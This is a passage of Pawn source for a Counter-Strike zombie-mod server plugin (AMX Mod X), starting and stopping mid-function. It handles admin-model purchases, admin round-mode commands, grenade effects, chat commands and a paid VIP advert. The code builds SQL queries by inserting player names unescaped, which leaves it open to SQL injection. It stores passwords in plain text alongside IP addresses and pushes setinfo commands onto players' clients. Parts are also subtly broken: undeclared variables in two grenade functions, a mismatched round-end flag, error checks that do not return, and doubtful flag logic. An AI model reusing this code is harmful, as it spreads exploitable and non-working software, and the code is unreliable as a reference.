		console_print(iPlayer, "Be careful, to login with your account,");
		console_print(iPlayer, "You should type in your console");
		console_print(iPlayer, "setinfo _pw ^"password^"");
		console_print(iPlayer, "We hope you enjoy you have fun!");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "");
		server_cmd("kick #%d  Check your console!", get_user_userid(iPlayer));
	}
	return 0;
}

public SQLCheckModel(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	static iPlayer;
	iPlayer = str_to_num(cData);
	client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Admin Model Access", g_cName[iPlayer]);
	if (SQL_NumResults(hQuery))
	{
		static cFlags[42];
		SQL_ReadResult(hQuery, 0, cFlags, 42);
		format(cFlags, 42, "m%s", cFlags);
		formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
		console_print(iPlayer, "");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "Done! You have now admin models access!");
		console_print(iPlayer, "We hope you enjoy you have fun!");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "");
		server_cmd("kick #%d  Check your console!", get_user_userid(iPlayer));
	}
	else
	{
		formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer], g_cName[iPlayer], "m", g_cInternetProtocolAddress[iPlayer], g_cGlobalPassword[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
		client_cmd(iPlayer, "setinfo _pw ^"%s^"", g_cGlobalPassword[iPlayer]);
		console_print(iPlayer, "");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "Done! You have now admin models access!");
		console_print(iPlayer, "Be careful, to login with your account,");
		console_print(iPlayer, "You should type in your console");
		console_print(iPlayer, "setinfo _pw ^"password^"");
		console_print(iPlayer, "We hope you enjoy you have fun!");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "");
		server_cmd("kick #%d  Check your console!", get_user_userid(iPlayer));
	}
	return 0;
}

public CommandGetModel(iPlayer)
{
	if (g_bAdminModel[iPlayer])
	{
		static cPassword[32];
		read_argv(1, cPassword, 32);
		if (!strlen(cPassword))
		{
			client_cmd(iPlayer, "messagemode amx_password_for_model");
			client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type your password again!");
		}
		static cData[3];
		static cQuery[128];
		formatex(g_cGlobalPassword[iPlayer], 32, "%s", cPassword);
		num_to_str(iPlayer, cData, "");
		formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", g_cName[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLCheckModel", cQuery, cData, 3);
	}
	return 0;
}

public CmdPlantMine(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iTripMines[iPlayer] || g_iPlantedMines[iPlayer] > 1 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
		{
			client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't plant mines for some reasons...");
			return 0;
		}
		if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
		{
			return 0;
		}
		if (CanPlant(iPlayer))
		{
			g_bPlanting[iPlayer] = 1;
			set_task(1.0, "Func_Plant", iPlayer + 450, "", 0, "", 0);
		}
	}
	return 0;
}

public CmdTakeMine(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iPlantedMines[iPlayer])
		{
			client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't take mines for some reasons...");
			return 0;
		}
		if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
		{
			return 0;
		}
		if (can(iPlayer))
		{
			g_bRemoving[iPlayer] = 1;
			set_task(1.0, "Func_Take", iPlayer + 500, "", 0, "", 0);		
			}
	}
	return 0;
}

public CmdMode(iPlayer)
{
	if (g_bAdmin[iPlayer])
	{
		static Float:fGameTime;
		static iAmmoTarget;
		static cAmmo[4];
		static iAmmo;
		static iAlive;
		static iTarget;
		static cTarget[32];
		static cMode[32];
		read_argv(0, cMode, 32);
		read_argv(1, cTarget, 31);
		read_argv(2, cAmmo, 4);
		iAlive = GetAliveCount();
		iAmmo = str_to_num(cAmmo);
		iTarget = cmd_target(iPlayer, cTarget, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF))
		iAmmoTarget = cmd_target(iPlayer, cTarget, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF));
		fGameTime = get_gametime();
		if (floatsub(fGameTime, g_fRoundStartTime) < 2.0)
		{
			client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 two seconds^1 after round started!");
			console_print(iPlayer, "[Zombie Outstanding] Please wait at least two seconds after round started!");
		}
		if (equal(cMode, "amx_ammo", 0) && iAmmoTarget && iAmmo && !g_bGaveThisRound[iPlayer] && g_iRoundsCount > 3)
		{
			static iMaxAmmo;
			iMaxAmmo = 0;
			if (AdminHasFlag(iPlayer, 97))
			{
				iMaxAmmo = 2;
			}
			else
			{
				if (AdminHasFlag(iPlayer, 108))
				{
					iMaxAmmo = 4;
				}
				if (AdminHasFlag(iPlayer, 113))
				{
					iMaxAmmo = 6;
				}
				if (AdminHasFlag(iPlayer, 116))
				{
					iMaxAmmo = 8;
				}
				if (AdminHasFlag(iPlayer, 117))
				{
					iMaxAmmo = 10;
				}
				if (AdminHasFlag(iPlayer, 119))
				{
					iMaxAmmo = 12;
				}
				if (AdminHasFlag(iPlayer, 56))
				{
					iMaxAmmo = 14;
				}
			}
			if (!iMaxAmmo)
			{
				client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You have^4 no acces^1 to this command!");
			}
			else
			{
				if (!iAmmo)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't give a^4 null^1 amount of packs!");
				}
				if (iAmmo > iMaxAmmo)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are trying to give^4 too many^1 packs!");
				}
				g_bGaveThisRound[iPlayer] = 1;
				g_iPacks[iAmmoTarget] += iAmmo;
			}
		}
		if (AdminHasFlag(iPlayer, 104) && equal(cMode, "amx_human", 0) && iTarget && !g_bRoundStart && iAlive > 2 && GetHumans() && GetZombies() > 1 && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
		{
			if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
			{
				return 0;
			}
			MakeHuman(iTarget, false, false);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Human", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("ZombieOutstanding.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (AdminHasFlag(iPlayer, 54) && equal(cMode, "amx_respawn", 0) && iAmmoTarget && !g_bAlive[iAmmoTarget] && !g_bRoundStart && iAlive > 1 && GetAliveCount() && GetHumans() && GetZombies() && !g_iRoundType && !g_bRoundEnd && g_iRoundsCount > 3)
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iAmmoTarget);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 respawn^3 %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
			log_to_file("ZombieOutstanding.log", "%s respawn %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
		}
		if (AdminHasFlag(iPlayer, 122) && equal(cMode, "amx_zombie", 0) && iTarget && iAlive > 2 && GetHumans() > 1 && GetZombies() && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
		{
			if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
			{
				return 0;
			}
			if (g_bRoundStart)
			{
				StartNormalMode(iTarget);
				remove_task(700, 0);
				g_bRoundStart = false;
				remove_task(550, 0);
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie^1 [^4 First Zombie^1 ]", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("ZombieOutstanding.log", "%s made %s a Zombie [First Zombie]", g_cName[iPlayer], g_cName[iTarget]);
			}
			else
			{
				MakeZombie(0, iTarget, false, false, false);
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("ZombieOutstanding.log", "%s made %s a Zombie", g_cName[iPlayer], g_cName[iTarget]);
			}
		}
		if (equal(cMode, "amx_sniper", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 120) && g_iRoundsCount > 3)
		{
			StartSniperMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Sniper", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("ZombieOutstanding.log", "%s made %s a Sniper", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "amx_survivor", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 118) && g_iRoundsCount > 3)
		{
			StartSurvivorMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Survivor", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("ZombieOutstanding.log", "%s made %s a Survivor", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "amx_nemesis", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 110) && g_iRoundsCount > 3)
		{
			StartNemesisMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("ZombieOutstanding.log", "%s made %s a Nemesis", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "amx_assassin", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 98) && g_iRoundsCount > 3)
		{
			StartAssassinMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 an^4 Assassin", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("ZombieOutstanding.log", "%s made %s an Assassin", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "amx_swarm", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 115) && iAlive > 9 && g_iLastMode != 64 && g_iRoundsCount > 3)
		{
			StartSwarmMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Swarm^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Swarm round", g_cName[iPlayer]);
		}
		if (equal(cMode, "amx_plague", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 112) && iAlive > 9 && g_iLastMode != 32 && g_iRoundsCount > 3)
		{
			StartPlagueMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Plague^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Plague round", g_cName[iPlayer]);
		}
		if (equal(cMode, "amx_armageddon", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 106) && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
		{
			StartArmageddonMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Armageddon^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Armageddon round", g_cName[iPlayer]);
		}
		if (equal(cMode, "amx_nightmare", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 50) && iAlive > 9 && g_iLastMode != 256 && g_iRoundsCount > 3)
		{
			StartNightmareMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Nightmare^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Nightmare round", g_cName[iPlayer]);
		}
		if (equal(cMode, "amx_assassins_vs_snipers", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 57) && iAlive > 9 && g_iLastMode != 512 && g_iRoundsCount > 3)
		{
			StartAssassinsVsSnipersMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Assassins vs Snipers^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Assassins vs Snipers round", g_cName[iPlayer]);
		}
		if (equal(cMode, "amx_multiple", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 111) && iAlive > 9 && g_iLastMode != 16 && g_iRoundsCount > 3)
		{
			StartMultiMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Multiple Infections^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Multiple Infections round", g_cName[iPlayer]);
		}
	}
	return 0;
}

public CmdNightVision(iPlayer)
{
	if (g_bFlash[iPlayer])
	{
		static Float:fCurrentTime;
		fCurrentTime = get_gametime();
		if (floatsub(fCurrentTime, g_fLastTime[iPlayer]) < 0.5)
		{
			return 1;
		}
		g_fLastTime[iPlayer] = fCurrentTime;
		g_bFlashEnabled[iPlayer] = !g_bFlashEnabled[iPlayer];
		remove_task(iPlayer + 350, 0);
		if (g_bFlashEnabled[iPlayer])
		{
			 set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
		}
	}
	return 1;
}

Infection_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 0, 250, 0, 200);
	if ( g_bRoundEnd ) return;
	
	static Float: Origin [3];
	
	pev ( iEntity, pev_origin, Origin );
	
	EmitSound ( iEntity, CHAN_AUTO, "ZombieOutstanding/grenade_infection_explode.wav" );
	
	static Attacker;
	
	Attacker = pev ( iEntity, pev_owner );
	
	static Victim;
	
	Victim = -1
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
		
		if ( GetHumans (  ) == 1 )
		{
			ExecuteHamB ( Ham_Killed, Victim, Attacker, 0 );
			
			continue;
		}
		
		EmitSound ( Victim, CHAN_AUTO, g_cHumanNadeInfectSounds[random_num(0, 2)]);
		
		MakeZombie(Attacker, Victim, false, false, false);
		
	}
	engfunc ( EngFunc_RemoveEntity, iEntity );
}

Killing_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 127, 0, 255, 200);
	
    if (g_roundend) return
    
    static Float:originF[3]
    pev(iEntity, pev_origin, originF)
    
    CreateBlastKilling ( originF );
    
    EmitSound ( iEntity, CHAN_AUTO, "ZombieOutstanding/grenade_infection_explode.wav" );
	
    static attacker
    attacker = pev(iEntity, pev_owner)
    if (!is_user_connected(attacker))
    {
        engfunc(EngFunc_RemoveEntity, iEntity)
        return
    }
    
    static victim
    victim = -1
    
    while((victim = engfunc(EngFunc_FindEntityInSphere, victim, originF, 240.0)) != 0)
    {
        if(!is_user_alive(victim) || !g_bZombie[victim] || g_iPlayerType[victim] & 1)
            continue
        ExecuteHamB(Ham_Killed, victim, attacker, 0)
    }
    
    engfunc(EngFunc_RemoveEntity, iEntity)
}  

Fire_Explode(iEntity)
{
	send_beam_cylinder(iEntity, 200, 50, 0, 200);
	
	static Float: Origin [3];
	
	pev ( iEntity, pev_origin, Origin );
	
	EmitSound ( iEntity, CHAN_WEAPON, "ZombieOutstanding/grenade_fire_explode.wav" );
	
	static Victim; 
	
	Victim = -1;
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bNoDamage [Victim] ) continue;
		
		if ( g_iPlayerType[Victim] & 1 || g_iPlayerType[Victim] & 2 )
			
		g_iBurningDuration [Victim] += 4;
		else
		g_iBurningDuration [Victim] += 4 * 5;

		if (!task_exists(Victim + 200, 0))
		{
			 set_task(0.2, "TaskBurn", Victim + 200, "", 0, "b", 0);
		}
	}
	engfunc ( EngFunc_RemoveEntity, iEntity );
}

public TaskBurn(iTask)
{
	static  flags;
	static iPlayer;
	iPlayer = iTask + -200;	
	flags = pev ( iPlayer, pev_flags );
	
	if ( g_bNoDamage [iPlayer] || ( flags & FL_INWATER ) || g_iBurningDuration [iPlayer] < 1 )
	{
		send_smoke(iPlayer);

		remove_task(iTask, 0);
		
		return;
	}

	if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && !random_num ( 0, 20 ) )
	{
		client_cmd(iPlayer, "spk %s", g_cZombieBurnSounds[random_num(0, 4)]);
	}

	if ( g_iPlayerType[iPlayer] & 1 && g_iPlayerType[iPlayer] & 2 && ( flags & FL_ONGROUND ) && 1.0 > 0.0 )
	{
		static Float: velocity [3];
		
		pev ( iPlayer, pev_velocity, velocity );
		
		xs_vec_mul_scalar ( velocity, 1.0, velocity );
		
		set_pev ( iPlayer, pev_velocity, velocity );
	}
	
	static health;
	
	health = pev ( iPlayer, pev_health ); 
	
	if ( health - floatround ( 20.0, floatround_ceil ) > 0 )
		
	set_health ( iPlayer, health - floatround ( 20.0, floatround_ceil ) );
	
	send_flame(iPlayer);

	g_iBurningDuration [iPlayer]--
}

Freeze_Explode(iEntity)
{
	static Float: Origin [3];
	
	pev ( Entity, pev_origin, Origin )
	
	send_beam_cylinder(Entity, 0, 100, 200, 200);
	
	EmitSound ( Entity, CHAN_WEAPON, "ZombieOutstanding/grenade_frost_explode.wav" );
	
	static Victim; 
	
	Victim = -1;
	
	while ( ( Victim = engfunc ( EngFunc_FindEntityInSphere, Victim, Origin, 240.0 ) ) != 0 )
	{
		if ( !is_user_valid_alive ( Victim ) || !g_bZombie [Victim] || g_bFrozen [Victim] || g_bNoDamage [Victim] ) continue;
		
		send_damage(Victim, 1);
		if (g_iPlayerType[Victim] & 1)
		{
			static Origin_2 [3]; get_user_origin ( Victim, Origin_2 );

			EmitSound (Victim, CHAN_AUTO, "ZombieOutstanding/grenade_frost_freeze.wav" );
			
			continue;
		}
		
		set_glow(Victim, 19, 13, 0, 100, 200);
		
		EmitSound ( Victim, CHAN_AUTO, "ZombieOutstanding/grenade_frost_freeze.wav");
		g_bFrozen[Victim] = true;
		ExecuteHamB(Ham_Item_PreFrame, Victim);
		set_frozen(Victim, 1);
		message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, Victim );
		write_short ( 0 );
		write_short ( 0 );
		write_short ( 0x0004 );
		write_byte ( 0 );
		write_byte ( 100 );
		write_byte ( 200 );
		write_byte ( 100 );
		message_end (  );
		
		if ( pev ( Victim, pev_flags ) & FL_ONGROUND )
		
		set_pev ( Victim, pev_gravity, 999999.9 );
		else
		set_pev ( Victim, pev_gravity, 0.000001 );

		g_bFrozen [Victim] = true;
		
		set_task(3.0, "TaskUnfreeze", Victim, "", 0, "", 0);
	}
	
	engfunc ( EngFunc_RemoveEntity, Entity );
}

public TaskUnfreeze(i)
{
	if (g_bConnected[i] && !g_bRoundStart)
	{
		g_bFrozen[i] = false;
		set_frozen(i, 0);
		ExecuteHamB(Ham_Item_PreFrame, i);
		message_begin ( MSG_ONE, get_user_msgid ( "ScreenFade" ), _, i );
		write_short ( 1<<12 );
		write_short ( 0 );
		write_short ( 0x0000 );
		write_byte ( 0 );
		write_byte ( 50 );
		write_byte ( 200 );
		write_byte ( 100 );
		message_end (  );		
		EmitSound (i, CHAN_AUTO, "ZombieOutstanding/grenade_frost_break.wav");
		send_break_glass(i);
		remove_glow(i);	
	}
	return 0;
}

Explosion_Explode(iEntity)
{
	send_explosion(Entity);
	
	static Attacker;
	
	Attacker = pev ( Entity, pev_owner );
	
	for ( new Victim = 1; Victim < g_iMaxClients + 1; Victim ++ )
	{
		if ( !is_user_connected ( Victim ) || !is_user_alive ( Victim ) ) continue;
		
		if ( g_bZombie [Victim] )
		{
			static Float: fDistance, Float: fDamage;
			
			fDistance = entity_range ( Victim, Entity );
			
			if ( fDistance < 300.0 )
			{
				fDamage = 667.0 - fDistance;
				
				message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenFade" ), _, Victim );
				write_short ( 2048 );
				write_short ( 1024 );
				write_short ( 0x0000 );
				write_byte ( 255 );
				write_byte ( 0 );
				write_byte ( 0 );
				write_byte ( fDistance < 220 ? 220 : 205 );
				message_end (   );
				
				EmitSound ( Victim, CHAN_AUTO, "fvox/flatline.wav" ); 
				
				message_begin ( MSG_ONE_UNRELIABLE, get_user_msgid ( "ScreenShake" ), _, Victim );
				write_short ( 1<<12 * 4 );
				write_short ( 1<<12 * 2 ); 
				write_short ( 1<<12 * 10 );
				message_end (  );
				
				if ( float ( get_health ( Victim ) ) - fDamage > 0.0 )
					
				ExecuteHamB ( Ham_TakeDamage, Victim, Entity, Attacker, fDamage, DMG_BLAST );
				else
				ExecuteHamB ( Ham_Killed, Victim, Attacker, 4 );
				
				if ( g_iPlayerType[Victim] & 1 &&  g_iPlayerType[Victim] & 2 ) fDamage *= 0.75;
				
				client_print_color(Attacker, print_team_grey, "^4[Zombie Outstanding]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[Victim], fDamage);
				
				if ( fDamage >= 500)
					
				g_iPacks [Attacker] += 2;
				else
				g_iPacks [Attacker] += 1;
			}
		}
	}
	
	engfunc ( EngFunc_RemoveEntity, Entity );
}

public CmdDrop(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			user_drop_jetpack(iPlayer, 0);
			return 1;
		}
		if (g_iPlayerType[iPlayer])
		{
			return 1;
		}
	}
	return 0;
}

public CmdJoinTeam(iPlayer)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
	{
		menu_display(iPlayer, g_iGameMenu, 0);
		return 1;
	}
	return 0;
}

public EventStatusValue(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		static cPoints[15];
		static cPacks[15];
		static cHealth[15];
		static iVictim;
		iVictim = read_data(2);
		if (g_bZombie[iVictim] == g_bZombie[iPlayer])
		{
			AddCommas(get_health(iVictim), cHealth, 14);
			AddCommas(g_iPacks[iVictim], cPacks, 14);
			AddCommas(g_iPoints[iVictim], cPoints, 14);
			new color1;
			if (g_bZombie[iPlayer])
			{
				color1 = 0;
			}
			else
			{
				color1 = 255;
			}
			new color2;
			if (g_bZombie[iPlayer])
			{
				color2 = 255;
			}
			else
			{
				color2 = 0;
			}
			set_hudmessage(color2, 50, color1, -1.0, 0.60, 0, 6.0, 1.1, 0.0, 0.0, -1 );
			ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s | Armor: %d | Packs: %s | Points: %s ]", g_cName[iVictim], cHealth, get_armor(iVictim), cPacks, cPoints);
		}
		if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
		{
			AddCommas(get_health(iVictim), cHealth, 14);
			set_hudmessage(175, 1, 30, -1.0, 0.60, 1, 0.01, 3.0, 0.01, 0.01, -1);
			ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s^n[ Health: %s ]", g_cName[iVictim], cHealth);
		}
	}
	return 0;
}

public ShowMenuClasses(iPlayer)
{
	menu_display(iPlayer, g_iMenuZombieClasses, 0);
	return 0;
}

public Client_SayTeam(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 1;
	}
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (g_fGagTime[iPlayer] > fGameTime)
	{
		return 1;
	}
	static cMessage[150];
	read_args(cMessage, 149);
	remove_quotes(cMessage);
	if (!cMessage[0] || strlen(cMessage) > 147 || is_advertisement(iPlayer, cMessage))
	{
		return 1;
	}
	if (cMessage[0] == 64)
	{
		if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
		{
			static i;
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && g_bAdmin[i] && AdminHasFlag(i, 102))
				{
					client_print_color(i, print_team_grey, "^4[ADMINS]^3 %s^1 :  %s", g_cName[iPlayer], cMessage);
				}
				i += 1;
			}
		}
		else
		{
			static i;
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && (g_bAdmin[i] || iPlayer != i))
				{
					client_print_color(i, print_team_grey, "^3(PLAYER) %s^1 :  %s", g_cName[iPlayer], cMessage);
				}
				i += 1;
			}
		}
		return 1;
	}
	return 0;
}

public Client_Say(iPlayer)
{
	if (!g_bConnected[iPlayer])
	{
		return 1;
	}
	static Float:fGameTime;
	fGameTime = get_gametime();
	if (g_fGagTime[iPlayer] > fGameTime)
	{
		return 1;
	}
	static cMessage[150];
	static cPlayer[3];
	num_to_str(iPlayer, cPlayer, 2);
	read_args(cMessage, 149);
	remove_quotes(cMessage);
	if (!cMessage[0] || strlen(cMessage) > 147 || is_advertisement(iPlayer, cMessage))
	{
		return 1;
	}
	if (equali(cMessage, "/rank", 5) || equali(cMessage, "rank", 4))
	{
		if (!g_bRanked[iPlayer])
		{
			client_print_color(iPlayer, print_team_grey,  "^4[Zombie Outstanding]^1 You are not ranked yet!");
		}
		else
		{
			if (floatsub(fGameTime, g_fLastRankQuery) < 3.0)
			{
				client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You have to wait^3 %0.1f seconds^1 until next command!", g_fLastRankQuery + 3.0 - fGameTime);
			}
			g_fLastRankQuery = fGameTime;
			formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
			SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", g_cQuery, cPlayer, 3);
		}
	}
	else
	{
		if (equali(cMessage, "/gold", 5) || equali(cMessage, "/vip", 4) || equali(cMessage, "vip", "") || equali(cMessage, "gold", 4))
		{
			new Text[1501];
			add(Text, 1500, "<body bgcolor=#000000><font color=AAE500><pre>Contact Skype :  Emporio614 & Bratu.Mihai3<br><br>Monthly Price  |  Pret Lunar :  5 EUR   7 USD   25 RON<br><br>Features  |  Caracteristici<br>* Higher Damage ", 0);
			add(Text, 1500, "+ More Ammo Packs  |  Mai Multe Daune + Mai Multe Pachete Ammo<br>* +200 Health in Spawn  |  +200 Viata la Spawn<br>* +50 Armor in Spawn  |  +50 Armura la Spawn<br>* Double Jump in Spawn  |  Saritura Dubla din Spawn<br>* Special Laser ", 0);
			add(Text, 1500, "Rays -- Ability to View Through Walls  |  Raze Laser Speciale -- Abilitate sa Vezi Prin Pereti<br>* White Player Model  |  Model Alb de Jucator<br>* VIP Tag in Score Table  |  Tag VIP in Tabla de Scoruri</pre></font></body>", 0);
			show_motd(iPlayer, Text, "Gold Member Info");
		}
		if (equali(cMessage, "/top", 4) || equali(cMessage, "top", ""))
		{
			show_motd(iPlayer, "http://csaddicted.com/rank/index.php", "Player Rankings");
		}
		if (equali(cMessage, "/bans", 0) || equali(cMessage, "bans", 0))
		{
			show_motd(iPlayer, "http://csaddicted.com/bans/index.php", "Server's Bans");
		}
		if (equali(cMessage, "/admins", 0) || equali(cMessage, "admins", 0))
		{
			show_motd(iPlayer, "http://csaddicted.com/admins/index.php", "Server's Admins");
		}
		if (equali(cMessage, "/maps", 0) || equali(cMessage, "maps", 0))
		{
			show_motd(iPlayer, "http://csaddicted.com/maps/index.php", "Server's Maps");
		}
		if (cMessage[0] == 64 && g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
		{
			static Random;
			static Float:fVertical;
			static i;
			g_iMessagePosition += 1;
			if (g_iMessagePosition > 1)
			{
				g_iMessagePosition = 0;
			}
			switch (g_iMessagePosition)
			{
				case 0:
				{
					fVertical = 0.45;
				}
				case 1:
				{
					fVertical = 0.5;
				}
				case 2:
				{
					fVertical = 0.55;
				}
				case 3:
				{
					fVertical = 0.60;
				}
				default:
				{
				}
			}
			set_hudmessage(199, 199, 199, 0.02, fVertical, 0, 6.00, 6.00, 0.50, 0.15, -1);
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i])
				{
					ShowSyncHudMsg(i, g_iLeftSync[g_iMessagePosition], "%s :  %s", g_cName[iPlayer], cMessage);
				}
				i += 1;
			}
			return 1;
		}
		if (equali(cMessage, "/timeleft", 0) || equali(cMessage, "timeleft", 0))
		{
			static iTimeleft;
			iTimeleft = floatround(GetTimeLeft(), 0);
			if (!get_cvar_num("mp_timelimit"))
			{
				client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [no time limit]");
			}
			else
			{
				if (get_cvar_num("mp_timelimit") == 4096)
				{
					client_print_color(iPlayer, print_team_grey, "^1Time left:^4 [this is the last round]");
				}
